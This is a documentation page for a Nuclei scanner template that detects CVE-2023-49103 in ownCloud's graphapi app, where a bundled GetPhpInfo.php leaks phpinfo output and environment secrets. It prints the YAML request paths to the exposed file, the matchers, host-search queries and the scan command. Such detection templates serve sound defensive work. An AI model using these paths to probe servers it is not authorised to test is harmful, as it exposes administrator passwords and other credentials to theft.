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OwnCloud - Phpinfo Configuration

ID: CVE-2023-49103

Severity: high

Author: ritikchaddha

Tags: cve2023,cve,owncloud,phpinfo,config,kev

Description

Section titled “Description”

An issue was discovered in ownCloud owncloud/graphapi 0.2.x before 0.2.1 and 0.3.x before 0.3.1. The graphapi app relies on a third-party GetPhpInfo.php library that provides a URL. When this URL is accessed, it reveals the configuration details of the PHP environment (phpinfo). This information includes all the environment variables of the webserver. In containerized deployments, these environment variables may include sensitive data such as the ownCloud admin password, mail server credentials, and license key. Simply disabling the graphapi app does not eliminate the vulnerability. Additionally, phpinfo exposes various other potentially sensitive configuration details that could be exploited by an attacker to gather information about the system.

YAML Source

Section titled “YAML Source”
id: CVE-2023-49103


info:
  name: OwnCloud - Phpinfo Configuration
  author: ritikchaddha
  severity: high
  description: |
    An issue was discovered in ownCloud owncloud/graphapi 0.2.x before 0.2.1 and 0.3.x before 0.3.1. The graphapi app relies on a third-party GetPhpInfo.php library that provides a URL. When this URL is accessed, it reveals the configuration details of the PHP environment (phpinfo). This information includes all the environment variables of the webserver. In containerized deployments, these environment variables may include sensitive data such as the ownCloud admin password, mail server credentials, and license key. Simply disabling the graphapi app does not eliminate the vulnerability. Additionally, phpinfo exposes various other potentially sensitive configuration details that could be exploited by an attacker to gather information about the system.
  reference:
    - https://github.com/creacitysec/CVE-2023-49103/blob/main/exploit.py
    - https://nvd.nist.gov/vuln/detail/CVE-2023-49103
    - https://owncloud.com/security-advisories/disclosure-of-sensitive-credentials-and-configuration-in-containerized-deployments/
    - https://www.labs.greynoise.io//grimoire/2023-11-29-owncloud-redux/
    - https://attackerkb.com/topics/G9urDj4Cg2/cve-2023-49103
    - https://www.rapid7.com/blog/post/2023/12/01/etr-cve-2023-49103-critical-information-disclosure-in-owncloud-graph-api/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-49103
    cwe-id: CWE-200
    epss-score: 0.51754
    epss-percentile: 0.97272
    cpe: cpe:2.3:a:owncloud:graph_api:0.2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: owncloud
    product: graph_api
    shodan-query:
      - title:"owncloud"
      - http.title:"owncloud"
    fofa-query: title="owncloud"
    google-query: intitle:"owncloud"
  tags: cve2023,cve,owncloud,phpinfo,config,kev


http:
  - method: GET
    path:
      - "{{BaseURL}}/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/{{rand_base(4)}}.css"
      - "{{BaseURL}}/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/{{rand_base(4)}}.css"


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Extension"
          - "PHP Version"
          - "owncloud"
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a00473045022048d82c2ac78c2969bebb8c6b67ec4b7cc075f19954bb26dd0e5800c0d8ce2e93022100a5361e87fc94de05ad66c51a7c87f323eb6a030f4c020df0efc1a3b0faed472e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-49103.yaml"

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